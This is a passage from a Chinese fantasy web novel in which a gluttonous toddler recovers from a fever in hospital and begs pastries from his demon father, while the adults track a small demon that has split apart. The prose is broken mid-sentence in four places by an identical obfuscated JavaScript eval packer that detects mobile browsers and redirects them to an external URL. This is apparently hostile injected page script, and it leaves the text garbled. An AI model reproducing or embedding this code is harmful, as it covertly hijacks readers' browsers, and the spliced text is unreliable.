“也可以一口甜一口咸，咸甜永动。” “……” 不管甜的咸的，两碗粥罢了，冬日一口气就能喝完，当作餐前开胃小菜都不够。 而且口味太淡了，他现在更想吃口冲击性强的食物。 “爸爸喂你吧。” 冬眠见他迟迟不动，还以为是他身体太不舒服，连喝粥的胃口都没了。 又忍不住心疼起来。 “多少先吃一点，身体才会有能量……等你好了，爸爸再带你去好吃的。” 冬日抬起小脑袋，再昏沉再难受都要坚定地喊出：“……我、我想现在，就吃好吃的！” “我要吃漏漏，嫩嫩的漏漏，软软的漏漏！” “……” 这样了还惦记着吃肉，看来也没非常难受。 “……现在不能吃肉肉。” 跟着小朋友说话，大人也会不自觉地念起叠音。 “下午要是好些了，爸爸再给你吃，早上就先喝点粥吧。” 冬日扁扁小嘴，声音很轻，有点委屈：“……可是，吃不饱，要漏漏……” 对上小家伙病怏怏的祈求眼神，再铁石心肠的人都会忍不住。 但就是因为他们一直这样，才会让小家伙摄入过量零食，纵容了他对食物的不正常依赖，间接导致他进医院。 现在冬眠必须狠下心。 开口哄骗道：“宝宝先把粥喝了吧，要真没吃饱，爸爸再给你吃肉肉。” 冬日信以为真，乖乖喝起面前的粥。 蜜枣粥里加了冰糖，非常甜，是小朋友很能接受的味道。 虾仁粥里还有丰富的各色蔬菜丁，咸香鲜美，口味适宜。 最后还真是一口甜接着一口咸，小家伙很快将两碗粥喝光见底。 喝完后，不仅胸口热热的，整个身体也暖和了，冬日感觉脑袋都没那么难受，精神好了很多。 想吃肉肉的声音能喊得更大。 “……漏漏！” 冬眠巧妙地哄着小孩：“好，日日都吃完了，真棒。” 这小家伙似乎就没胃口不好的时候。 还发着烧呢，都能一口气吃两碗粥，完了居然还要继续吃肉。 “但是现在刚喝完粥，吃太油的肉肉也不好。等过一会儿吧，等日日的肚子休息一下，爸爸再给你吃肉肉。” 冬日再次信以为真，再次上当，天真地问道：“好哦……那，那休息，要很久嘛？” “不用很久。”冬眠温柔笑着，“等药水打完吧，到时候日日这只手能动了，就能自己用筷子吃肉肉了，是不是很好？” 小朋友真是很好骗。 冬日哪能听出不对，只是幻想冬眠给出的画面，然后内心给予大大的认可。 对哦！ 可不是嘛！ 现在他都不敢动这只手臂，喝粥还是爸爸喂的，到时候能自由吃肉肉，那才吃得舒服呢！ “……嗯！好哦！” 小家伙上当受骗还笑嘻嘻，嘴角扬起美好期待的微笑弧度。 但突然响起敲门声，一道稚嫩的声音在外面问着：“打扰了，请问能进来吗？” 冬眠瞬间全身警戒拉满。 冬眠：【是谁？】 殷天朝门口的方向看了一眼。 殷天：【是昨天的脆龙父子】 这外号也是蛮新鲜。 冬眠：【……他们居然主动过来？】 昨天龙爹恨不得将他们驱逐出境，生怕他们对自家小脆龙下手，没想到今天会带着小脆龙主动过来。 来做什么？ 是终于想开了？愿意让殷天查看是不是有小魔物附身了？ 殷天：【没事，目前看着没有恶意】 当然，就算有也不怕。 殷天还在后悔昨天没给那条老脆龙一点颜色看看，今天他们主动送上门，他正好找点理由下手。 殷天：“请进吧。” 病房门打开，这对龙族父子便若无其事地进来了。 冬日还记得裴清律，见到他很惊喜，差点忘记手背上还扎着针。 “……啊！好吃的小哥哥！” 独属于小饕餮崽崽的记忆方式。 裴清律一顿，很快又笑起来：“宝宝，我来看你。” 他手里拿着一份水果拼盘：“听说你发烧了，我就带了水果过来，要吃点吗？” 冬日还真想吃点水润凉凉的东西，一听到水果，仿佛清凉水盈感已经穿过喉咙。 “……嗯，好呀！” 两碗粥都填不平胃里一块角落，再来一点水果根本不算什么。 几位大人互看生厌，因此连表面客套都没有，谁也没说话。 冬眠：【这小子怎么知道日日发烧了？】 殷天：【只能是医院泄露的了】 冬眠：【亏我们还找了最好的私立医院！都不知道保护病人隐私吗！】 冬眠心里大骂垃圾医院，结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988875|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果刚骂完，另一道声音强势挤入他们的心声交流。 裴旌：【因为这家医院是我的】 冬眠跟殷天同时看向站在裴清律身后的男人。 裴旌：【我看你们的资料叫确认检查，不叫泄露】 殷天：【不要随便挤入别人的内心交流，真不要脸】 裴旌立刻面露微怒，但不能用嘴巴说话，只能继续心音交流。 裴旌：【你以为我想知道你们在说什么吗，有本事你们别让我听到啊】 裴旌：【有本事你们加密聊天啊】 但这种聊天就跟正常说话一样，要么不说，要么听不到，并没有单独加密的私聊形式。 至于能不能听到，单纯按照法力高低划分。 这说明法力裴旌与他们法力相当。 冬眠一向沉稳包容，不爱与人起冲突。 但可能是跟大魔物待一起久了，性格受到不好影响过多，又经历昨天的事情，看待这对龙族父子实在很难喜欢。 冬眠：【我们并没邀请你过来，你不过来不就好了？】 冬眠：【明明是你们主动过来的，倒还管起我们怎么交流了？】 殷天不语，只是一味地翘起嘴角。 小神仙尖锐的模样也别有一番风情。 裴旌冷哼嘲讽：【把这头野兽护挺紧啊，说一句都不行】 冬眠：………… 冬眠不禁瞪大眼睛。 反驳的时候没想太多，只是单纯厌恶对方的说辞，不想听到这些话。 可被这么一解读，好像真是他在护着殷天，不让对方说他不好。 裴旌：【天界知道你们在人间公费恋爱的事吗？正经的任务不做，倒是养上孩子了？】 不说任务还好，一说冬眠更没好脸。 昨天是他们有史以来离小魔物最近的一次，却被这家伙搅了个乱七八糟。 冬眠：【拜你所赐，我们差点能成的任务又要重新开始了】 冬眠：【还敢带这条小脆龙过来，不怕大魔物把他吃了吗】 裴旌：【就是怕他被吃了，所以我才亲自陪着过来】 裴旌：【听你们这意思，小魔物已经逃走了？】 殷天别有目的，看似自然，实则很故意地回答：【动静闹这么大，不逃留下来等死吗】 裴旌：【那就好】 裴旌：【这么说来，我儿子确实从昨天开始有精神多了】 冬眠：…… 忍不住了。 哪怕还当着孩子的面，冬眠也忍不住了，只想叫殷天把这家伙打出去。 可就在他准备开口前，殷天突然说道：【附近有小魔物的气息，我去看看】 说罢直接翻窗而出，前后不过两三秒。 幸好孩子没注意，否则冬眠都不知该怎么解释。 心里也是巨大的震惊加疑问，很想直接跟出去，偏偏孩子还在打针，冬眠不可能将孩子丢下。 裴旌：【我也去看看，到底是什么样小魔物】 说完又翻窗走了一个。 小龙崽似乎意识到了什么，耳朵动了动，但没回头确认，全程看着冬日，只跟他说话。 冬日则是完全没发现。 注意力全在裴清律带来的水果拼盘上，吃完哈密瓜又吃了颗蓝莓。 然后被酸得差点现出原形。 要不是打针的手不敢动，他高低得在床上来回翻滚好几圈。 16.第 16 章 感知到小魔物气息的那瞬间，殷天自己都不相信，还以为是错觉。 没动静的时候两个月都找不到，一有动静就连着两天，还是在同个地方？ 但很快他就确认这并非错觉。 因为小魔物散发的气息又变了。 察觉到三次，三次的气味都不相同。 怎么会这样？ 殷天心头泛上一种猜测，但更不愿相信，决定追上去看看究竟。 这回是真不能让小魔物溜走了。 再不找到原因，情况就更复杂了。 殷天直接翻窗而出，从十几楼落地，没想到裴旌还跟了上来。 “你跟来做什么？” “来看看所谓的小魔物长什么样。” “……” 小魔物的气息很淡，是处于虚弱状态中，随时都要消失的感觉。 殷天便没跟裴旌多说什么，专心朝着小魔物的气味方向而去。 医院很大，殷天在一条背阴湿冷的小路尽头停下脚步。 这里没人，仅有一只蜷缩在角落，舔舐着身上伤口的小猫。 见他们过来，小猫立刻警戒应敌，拱起身背，发出威胁的叫声。 “……这就是小魔物的真身？” 裴旌感受不到任何气息，在他眼里，这只是普普通通的小猫。 “不。”殷天神情凝重，“是有小魔物附身了。” 虽然气息很淡很淡，但非常真实地从眼前这只小猫身上传出来，殷天不会出错。 “可你不是说，小魔物只会附身在幼崽身上吗？” “偶尔也有意外情况。” 殷天没多做解释，只是沉默停顿了很久。 随后捡起一片落叶，徒手幻化成尖锐刀刃，准备刺向小猫。 裴旌震惊：“你要杀了这只猫吗？你不是说有咒术让小魔物现身吗？” 殷天很想堵住这人嘴巴，让他别再讲这么多废话。 不过很快裴旌也讲不出话了。 因为小猫受到惊吓，没有攻击殷天，反而冲着裴旌进攻。 伴随一记尖锐刺耳的叫声，小猫狰狞着獠牙跟利爪，从地上一跃而起，直冲裴旌面部，张开锋利的爪子就抓上去。 裴旌伸手防御，一挥便将小猫击飞。 小猫没能站立落地，而是整个身体重重摔在地上。 最后连叫都没叫出一声，直接躺在地上一动不动。 小猫死了。 伴随着小猫的死去，一股朦胧的邪气散发出来，绿油油的，漂浮在小猫尸体上方，足足十几秒后才消散。 裴旌感受到了这股不同寻常的邪气，也亲眼所见这道绿光。 “这就是小魔物的邪气？” “是。” 只有力量全部消散，俗称“死亡”之后，小魔物身上的邪气才会散发出来。 “那是我杀了这只猫，杀了小魔物？” 裴旌多少有点震惊加不敢置信。 “可我刚才没用什么力啊，小魔物这么脆弱吗？” “不是你杀的。”殷天的表情凝重，“这只猫早死了，是死后被小魔物附身的。” “……” 这么一说，裴旌才发现小猫的身躯已经很僵硬，并且开始散发出腐臭。 只是小魔物能隐藏气息，刚才将这股臭味一同隐去了。 “这是什么情况？怎么感觉跟你说的不一样？” 殷天面色正经且凝重，沉声道：“小魔物分裂了。” …… “分裂？！” 冬眠不愿相信自己听到的结论。 “你再说一遍，什么分裂，怎么会分裂？！” 殷天第三次重复：“在受伤太重，短期内又找不到合适的附身对象时，小魔物能将自身进行分裂，然后各自附身，各自修复，最后再重新合成一体。” 这就是殷天感受小魔物时强时弱，几次气味还都有不同的原因。 “这样可以最大范围地保全自己，有些部分无法修复时就及时舍弃，像刚才那样。” 但即便只是部分，即便注定消散，小魔物都拥有着惊人的求生意识，连死猫都不放过。 一般来说，小魔物是不会选择动物的，因为动物比人类幼崽更弱，几乎不能提供力量。 所以在小路尽头看到那只死猫时，殷天才会停顿许久。 “……那接下去怎么办？我们要将小魔物的所有部分找齐，一个个解决？” 找一个就够麻烦，现在还不知道变成了几个。 殷天是已经解决一个，但那个就算没人解决，很快也会自我消逝。 努力两个月毫无进度不说，还成功让局面变得更加复杂棘手。 殷天回答：“只要找到心脏那部分就好了。所有分裂的部分最后都会向心脏靠拢，只要心脏这部分消散，那么其他部分也会跟着消散。” “可是换个角度，只要心脏这部分还活着，小魔物就不会死，其他部分就能一直无限分裂，分裂到无穷无尽？” “答对了，从理论上来说就是这样。” “……” 原本只是寻找一个小魔物。 现在成了从一堆小魔物碎片中大海捞针，捞到心脏碎片才行。 裴旌还在旁边，摸着下巴：“……这种方式我从来没听过，你怎么能保证一定就是这样？” 没人知道他为什么还在这里。 殷天也不知道自己为什么要跟他解释。 “因为这是我的法术。”殷天说，“应该是我为小魔物注入灵力时，顺手就给他了……我当时真喝醉了，也不记得自己给了多少。” 裴旌就更疑惑了：“慢着，照你这么说，小魔物应该很感激你才对。” “那为什么他看到你就要跑？” “……” 那当然是因为殷天没安好心，狠狠欺负过小魔物咯。 殷天是救了小魔物性命，还给了他大量灵力没错。 但殷天并非出于好心。 等小魔物恢复后，殷天就对其展开了一场猫捉老鼠般逗弄的追杀。 故意不抓小魔物，但始终保持危险距离追着，让小魔物每时每刻提心吊胆。 等小魔物撑不下去了，再给点灵力，再继续追。 如此反复近一年，小魔物活生生将整个深渊都跑遍，每个地形都记住，最后顺利出逃。 怎么可能还感激殷天。 小魔物见他就跟见鬼一样。 这也是之前殷天能够自信，如果小魔物真在裴清律身上，肯定已经逃之夭夭的原因。 挑着重点解释完毕，殷天果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990625|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然收获两道嫌弃眼神。 “你居然能恶劣到这种程度。” “果然是禽兽。” “……” 殷天不会反驳冬眠，但对着裴旌没什么好气。 “等等，你怎么还在这里？我们的事跟你有什么关系？” 裴旌理所当然：“这是我的医院，我想在哪里就在哪里，何况我的孩子在里面，我必须在这里守着。” 殷天跟裴旌一前一后跳楼，只留下冬眠看着孩子。 还好小家伙的注意力全在水果拼盘上，完全没发现一个爸爸原地不见了。 吃完水果后，冬日又开始犯困。 在睡觉跟裴清律聊天之间，他果断选择拉着裴清律一起躺下，然后聊天聊到睡着。 冬眠虽然看不爽裴旌，可也不至于为难孩子。 何况冬日身边一直没有同龄小孩，终于有个愿意跟他玩的，冬眠怎么都不会阻碍。 现在俩孩子都在乖乖睡觉，他们才能在外面的走廊上放心交谈。 裴旌抢走了冬眠的台词：“这还是我家孩子第一次对其他小朋友感兴趣。” “虽然讨厌你们，但我不会限制孩子的交友自由。” “说的我们家孩子很稀罕一样。”殷天立刻回嘴，“你家那条小脆龙要敢吓到我家孩子，我打你们父子龙骨来煲汤。” “你有这个本事倒好了，信不信我现在就让你们原地出院？” 冬眠扶额叹气。 一个大魔物就够他烦了，又来一条差不多的黑龙，简直要命。 虽然这俩人气场明显不合，可过往并没有深仇大恨，目前也没什么利益冲突。 打架是不能打的。 那么继续口舌之争也没必要。 冬眠打断他们毫无意义的争吵，询问裴旌：“……所以你在人间的身份是医生吗？” “不是。” 冬眠迷惑：“那你怎么会有一家医院？” “这只是我名下的产业之一。” 跟他们普普通通的伪装身份不同，裴旌在人间是无比风光的财团总裁。 冬眠好奇：“这么高调没关系吗？” “没关系。”裴旌说，“好歹来人间这么多年，要连这点成就都没有，那才有关系吧。” “……” “……” 虽然但是，殷天跟冬眠有种被内涵的感觉。 殷天不甘落于下风：“谁有事没事逗留人间，看来你平时挺闲？还是在本族挺讨嫌？” 还以为又要爆发嘴皮大战。 没想到裴旌却正经解释起来：“我的爱人是人类，我当然要留在这里。” “是因为生下孩子后，我爱人身体不太好，所以我才建了这所医院。” 其余不用多说，他们就懂了。 要生下龙族后代，对人类而言是件很危险的事，跟扒皮抽筋几乎没太大区别。 难怪他们家是条小脆龙，原来有一半是人类血脉。 “不管怎么说，看在孩子的份上，如果你们的任务有任何麻烦，我都会不遗余力地提供帮助。” 话到最后，又回到了孩子身上。 虽然性格跟殷天一样讨厌，但从目前看来，至少是个不错的父亲。 为孩子能交到个朋友，也是很煞费苦心了。 17.第 17 章 在医院又躺了两天，冬日终于退烧出院。 检查结论相同，没什么大问题，还是先前的营养不良跟轻微贫血。 就是出院前，家长特意带他去精神科坐了坐，跟一位陌生的医生聊了聊天。 冬日被问了很多问题，整个云里雾里，能回答的诚实回答，不能回答的就眨眼卖萌，不知道到底来做什么。 可他看冬眠很认真，全程做着笔录。 然后接下去的日子，他就开始不开心了。 准确来说，其实自从住院开始，他就再没好好开心过。 原因很简单。 他再也没心满意足地吃过一顿肉。 由奢入俭难。 以前快饿死的日子都熬出头了，可现在已经尝到大鱼大肉的美好滋味，要再回去清汤寡水的日子，简直痛苦加倍。 虽然他不挑食，什么都能吃，但也会有自己特别想吃的食物啊。 他这两天就是想吃点重口味的肉肉。 红烧五花肉，红烧大猪肘，黄豆炖猪蹄，浓油赤酱的调味，煮到黏糊软烂的肉皮。 他就是想用肉汁拌饭。 白白净净，干湿适中，颗颗饱满的大米饭上面，浇几勺热腾腾香喷喷的汤汁，他能猛猛狂吃好几碗。 他还想喝甜甜凉凉，有气泡的糖水饮料。 最好是可乐雪碧，不然水果味的气泡水也行。 一口软烂即化的炖肉，一口浓郁汤汁的拌饭，再喝一口气泡清爽的饮料。 想想就太幸福了。 他可真是太会吃太会享受了。 可爸爸拒绝了他的请求，还说这段时间要少吃肥肉，更不能吃肉汁拌饭，因为营养不均衡，吃了不健康。 然后开始顿顿给他喂内脏喂精肉，还喂很多很多的新鲜蔬菜。 清空了家里所有的包装零食，想吃加餐也只有健康到不行的粗粮跟水果。 任凭他的零食小雷达再精准，可家里不藏零食，就没有用武之地。 连冰箱里都不放零食了。 以前至少会放点蛋糕冰激凌，因为冬日身高不够，再想吃也拿不到，还是需要家长拿给他。 现在直接是要冬日心死的程度，冰箱里空空如也，只剩每天要吃的新鲜食材。 太难受了。 天天胡萝卜白萝卜卷心菜大白菜菠菜青菜轮着来。 吃肉也只有干巴巴的瘦肉，调味还尽量清淡。 这谁受得了？ 小饕餮宝宝真的受不了啊。 他得吃肉才行啊。 强壮厉害的小饕餮宝宝肯定要吃肉啊。 冬日宝宝觉得自己太难了。 之前最爱的草莓哈密瓜，这两天都吃到祛魅，不想再多吃一口。 为了满足口腹之欲，小家伙甚至把主意打到殷天的甜品店。 偷吃他最在行。 假意在店里溜达，实则不停观察地形，脑内同步制定作战计划。 趁着有人将面包柜的柜门移开时，他火速闪现到旁，猛地踮起脚尖，拼命向上伸手—— 呜。 没够到。 个子矮小是硬伤，再努力伸手踮脚，距离最近的面包也仿佛相隔千里。 但是没关系。 矮个子宝宝也有自己的目标跟傲骨，不管用什么办法，今天都必须够到一个。 冬日拼命伸手，拼命踮脚。 浑身用力，用力到小脸上的五官都快变形，然后—— 被殷天捏住衣服，直接整个拎起来。 店里开着暖气，小家伙便把棉袄外套脱了。里面还刚好是条背带裤，拎起来特别方便。 “你在做什么，要偷吃面包吗？” 殷天拎孩子就跟拎小猫崽一样，哪怕孩子凌空扑腾挣扎，他结实的手臂都稳得一动不动。 “……” 偷吃失败还被当场捉住，小家伙感觉丢脸极了。 换作平常，肯定已经羞愧到抬不起头，会迅速地找个隐蔽角落钻进去藏好。 可现在他太需要零食了。 所以勇敢突破内心极限，忍着对殷天的害怕，以及做坏事的心虚，渴望的眼神巴巴地望向殷天，开口祈求：“……求你了，求求你，给宝宝，吃一个吧……” “……” 这—— 这？？！！ 这实在是叫人狠不下心，根本没有办法拒绝啊。 也不知道小家伙从哪学来的，但不得不承认，真是可爱到没边，可爱到天崩地裂了。 殷天看着手里的小家伙，一时竟也说不出拒绝。 在他眼里，这小家伙的存在意义向来只有碍事。 什么都不懂，什么都做不到。 只会黏人烦人，处处需要人照顾。 还霸占了小神仙的大部分时间，非常阻碍他想调戏攻略小神仙的计划。 但一起生活的日子久了，好像就在不知不觉中习惯接受了。 在每个被小家伙可爱到的瞬间，都会忍不住心软。 还真是前所未有的感觉。 再看一眼手里的小家伙。 眼眸大大的，清澈透亮，水光灵灵。脸蛋软软嫩嫩，皮肤就跟煮开的糯米小汤圆一样。 嘴唇薄薄又粉嘟嘟的，嘴角往下一撇，可怜又委屈的无辜感就溢出来了。 可爱。 铁血大魔物都认证的可爱，是可以统治整个世界的可爱。 殷天闭了闭眼，还是让理智操控着大脑：“你觉得自己能吃吗？” “……” 没有得到殷天的直接答应，对冬日来说已经是件很恐怖的事了。 以他的性格，平时到这里就会被吓住，不敢再问第二遍。 可卖相诱人的面包蛋糕就在眼前，香气全部阵阵往鼻腔里钻。 这让冬日怎么能够放弃？ 小家伙也是豁出去了，再度涌起勇气，眨着满溢渴望的大眼睛，朝殷天发射祈求光波：“……宝宝，就吃一个，可以吃的……求求你，帮帮我……” 求求你，帮帮我。 也不是什么罕见高深的词，寻常普通到随处应用的几个字罢了。 可从小家伙的嘴里念出来，就是带着别样的有趣。 到底是从哪学来的？ 再度对视三秒，殷天罕见地主动认输：“……好吧，那就吃一个。” 还得补充一句：“偷偷吃啊，可不能让小爸爸知道。” 于是小家伙不安紧张的眼眸里，瞬间泛起灿烂的高光，在殷天手里晃起身体，说话音调都变甜甜的了。 “谢、谢谢……唔，谢谢您！” 直接喊殷天爸爸还是烫嘴，冬日宝宝喊不出口。 舌头跟牙齿来回打架后，最后喊出一个恭恭敬敬的“您”。 殷天本以为自己不会再介意这点，没想到现在还更介意了。 对此感情也有些变化。 以前是不喜欢自己被区别对待，因为在小家伙眼里，自己简直是什么凶狠坏人。 现在就好像是有点真心想改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996994|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己在小家伙心里的形象，以及他们之间的关系了。 因为小家伙总在朝他卖萌。 可恶的是，他还真被萌到了。 殷天就这么拎着小家伙，一手移开柜门：“那你想吃什么，自己选一个吧。” 再补充一遍：“千万不能告诉小爸爸，知道吗？” “嗯嗯，宝宝知道！” 应得很认真很走心，实际魂都飞到了柜子里，已经开始挑选面包。 这家甜品店主营巧克力制品。 原因很简单。 颜色够多够深，而殷天偏爱黑巧克力，因为又苦又方便制作黑暗造型。 跟冬眠的目标不同，殷天会答应开店，纯粹奔着早日倒闭的盼头。 店员都是随便招的，手艺马虎一般，对待客人的态度也一般，平时只用制作一些妖魔鬼怪的造型，仿佛永远在过万圣节。 结果反而莫名其妙地成了。 因为造型独特，风格别具一格，有幸还在网络上小火过一把，吸引了不少消费者前来打卡。 殷天认为又苦又难吃的黑巧克力，直接成了醇厚浓郁，不甜不腻，更受消费者欢迎了。 店员对待客人的态度是一般，手艺也不怎样，可对待产品很用心很认真，是真心喜欢做出一个又一个千奇百怪的造型。 反而成了一家有态度有追求的店。 为了让生意变差，殷天又开始跟风随大众，推出了不少随处可见的网红产品。 就是冬日正面对的一柜子。 草莓千层挞，焦糖蛋挞，巧克力挞。 焦糖坚果可颂，海盐杏仁奶油可颂。 黄油菠萝包，坚果奶酪包。 蝴蝶千层酥，奶香脆片，奶酪白脱饼干。 但仔细一看，摆在一起的卖相就怪好看的，闻着也很香。 别说手里的小家伙做不出抉择，看上去每个都想吃的样子，就连殷天看着，都快有想要购买的欲望了。 这像话吗？ 殷天不禁皱眉，难道是他任着师傅自由发挥，从来不管，还让师傅手艺进步了？ 他大爷的。 他就说，怎么最近生意没有变差，还越来越好了？ 简直太不像话了。 殷天催促手里的小家伙：“好了，快点选一个吧，你想吃哪个？” 冬日根本做不出选择。 每个都好看，每个都想吃，就算每样都吃一个，他也完全能吃下。 “唔……” 选这个舍不得那个，选那个放不下这个，小饕餮宝宝苦恼极了。 要是能选一个柜子就好了。 那他不用这么纠结了。 “快点选，快点选完就能快点吃了。”殷天道，“不然小爸爸过来，可就没这个机会了。” “……唔！” 苦恼的选择变成了焦急又苦恼的选择。 可将所有产品看遍，还是无法抉择。 小饕餮宝宝万分着急，最后心一横，做了个非常得寸进尺的决定。 “……宝宝都想要！” 因为不知道得寸进尺的底线在哪里，所以根本没有底线，开口就是全部。 殷天差点笑出声。 心想小家伙胃口也太大了，怎么敢全都要的。 “……拜托啦，求求你……” 可对上可怜的祈求眼神，又是真说不出拒绝。 铁血大魔物不愿相信自己竟会妥协，一面已经开始退让：“……好吧好吧，那就让你拿两个吧。” 18.第 18 章 小饕餮宝宝的得寸进尺，是见好就收的得寸进尺。 一个实在太少，但拿两个就满足，没有任何异议。 纠结犹豫的小脸当场绽放笑颜，小家伙高兴到手舞足蹈：“……好哦好哦！宝宝要这个，还要这个！” 火速选出了巧克力挞跟坚果奶酪包。 “好好好……别晃，再晃就拎不住你了，要掉下去了……” 殷天将小家伙重拿轻放，妥善在地上放稳后，再将他选中的两样东西拿出来。 店内空间不大，没有设置就餐区，殷天就拿了把小凳子，让小家伙坐在柜台后面吃。 既满足了小家伙的愿望，又防止了万一冬眠过来，能直接在外面抓包的风险。 冬日也很识相，乖乖躲进柜台角落。 从背影看仿佛被黑心老板虐-待的可怜童工，偷感很重。 大咬一口巧克力挞，最先感受到的是可可粉攻击。 “咳咳咳，咳咳——” 呛得孩子连连咳嗽，看上去更可怜了。 但稍微缓了缓，冬日宝宝又迫不及待地大咬一口，浓郁的巧克力酱立刻沾了嘴巴一圈。 是师傅手艺大大进步了吗？ 还是太久没吃，才显得格外好吃？ 反正一口下去，冬日只感受到巧克力酱的丝滑跟底下蛋挞的酥脆醇香。 太好吃了。 真好吃啊。 好心疼自己但是又好幸福啊。 一口接一口，一个巧克力挞仅四五口就解决了。 接上坚果奶酪包继续吃。 嘴巴周围的巧克力酱还没擦掉，又染上了一层奶粉。 冬日并不喜欢干巴巴的面包体，但他最喜欢奶酪包外面裹着奶粉的奶酪酱，尤其还加上了坚果碎。 奶酪包也很快解决，小家伙砸吧砸吧嘴唇，实在意犹未尽。 真好吃啊。 这才他该吃的东西嘛，好想再吃几个啊。 但他知道不行了。 也不敢再向殷天提出这样的请求。 捏好包装纸，小家伙走到垃圾桶旁边扔掉，再走到殷天身边：“……宝宝嘴巴，要擦擦哦！” 毕竟是对偷吃最在行的小家伙。 没忘记吃完后要毁尸灭迹，省得被冬眠发现。 心里还觉得自己表现很好。 所以等殷天给他擦完嘴巴后，理所当然地开始讨要奖励。 “……宝宝可以，喝牛奶嘛？” 牛奶还是能喝的，不在禁止名单上，只要不是一天好几瓶就行。 殷天拿了瓶牛奶，拧开瓶盖给小家伙：“给，喝吧。” 小家伙欢喜接过：“嘿嘿！” 然后火速吨吨吨。 喝奶比喝水还豪放，一口气就全部吨完。 “哈——” 吨完后再哈口气，可以想象到有多心满意足了。 随后又走到殷天身边：“……嘴巴，还要擦擦哦！” 一屁股就能坐死的小鼻嘎，倒是爱干净。 吃完面包要擦嘴，喝完牛奶还要擦。 殷天再给他擦了擦嘴后，才后知后觉自己也太配合小家伙的要求了。 要什么就给什么。 使唤什么就做什么。 不过之前小家伙也不会单独来他这里，都不敢跟他说这么多话，何况提这些要求。 难道是今天的甜品收买了他？ 要不怎么没跟着小神仙，反而选择来这里，感觉还跟自己亲近了些？ 如果真是这样，那想跟小家伙搞好关系似乎也不难。 只要投其所好，用好吃的收买就行。 擦完嘴巴，冬日捏着空空的牛奶盒，再次走到垃圾桶旁边，将空盒子扔进去。 但垃圾桶已经满了，加上他的空瓶子后，盖子已经不能完全盖上，翘起了一角。 冬日原地定身看了一会儿：“满了，这里满了！” 然后非常坚定地说道：“宝宝去扔！” 抬头看向边上的店员，大胆表示：“阿姨，宝宝去扔！” 店员的服务态度虽然一般，可对殷天态度很好，也都很喜欢可爱乖巧的冬日。 毕竟除了这里，还能上哪去找硬性要求是对顾客态度冷漠的老板呢。 店员看向殷天，等着他回答。 殷天的视线一直跟着小家伙，嘴角不自觉挂上轻笑，询问冬日：“你要去扔？” “……嗯！” 终于吃到想吃的东西后，不仅胆子变大，连面对人生的态度都变得积极，开始抢着做事了。 “好，那你去扔吧，知道扔哪里吗？” “……” 冬日坚定的小脸又浮现几丝迷茫。 答案显然是不知道。 店员被他的小表情变化萌了满脸，将垃圾袋拿出来打好结，递给他：“宝宝，门口有个大大的垃圾桶，放在旁边就行了。” 总不能真指望小家伙能丢进垃圾桶里吧，他都还没那个垃圾桶高呢。 “好哦！那我去啦！” 得知任务地点，领取任务道具，小家伙拖着垃圾袋，朝着门口出发了。 真是很热心，同时又令人绝望的拖行方式。 还好垃圾袋质量够坚固，里面也只有些纸杯包装袋，否则不用等到门口，垃圾就该一路画地图了。 不过别看冬日个子小小，力气还是有点的。 玻璃门很重，并不好推，殷天站在边上，已经等着小家伙向自己求助了，结果小家伙愣是靠着自己推开，还真将垃圾袋拖到了外面。 放到指定地点后，冬日很骄傲。 他真是好勤劳好厉害的宝宝。 不仅主动提出要扔垃圾，还顺利完成了任务。 怎么样怎么样。 一定很能提升在大爸爸心里的形象吧。 这么想着，小家伙还很夸张地拍了拍手，站在垃圾桶旁边自我欣赏，完全没注意到有辆加长轿车在路边停下。 直到一道熟悉又陌生的声音从身后传来。 “宝宝。” 冬日下意识转身，裴清律就这么出现在他眼前。 住院那几天，裴清律天天来找他，每天至少有一小时待在一起。 但出院这几天没见，小家伙很快将人遗忘，乍一眼都没认出来。 只觉得有股熟悉感。 呆呆站在原地，愣愣看着裴清律，眨巴眨巴眼睛，半天没有回应。 裴清律很快走到他眼前，见他这样的反应，已经能猜到原因。 “你不会这么快就把我忘了吧？” “……” 有种做坏事被抓包的感觉，冬日莫名心虚。 还好又很快回忆起来，呆愣的眼眸重新拥有高光：“……是哥哥！” “小律 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005095|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥！好吃的哥哥！” 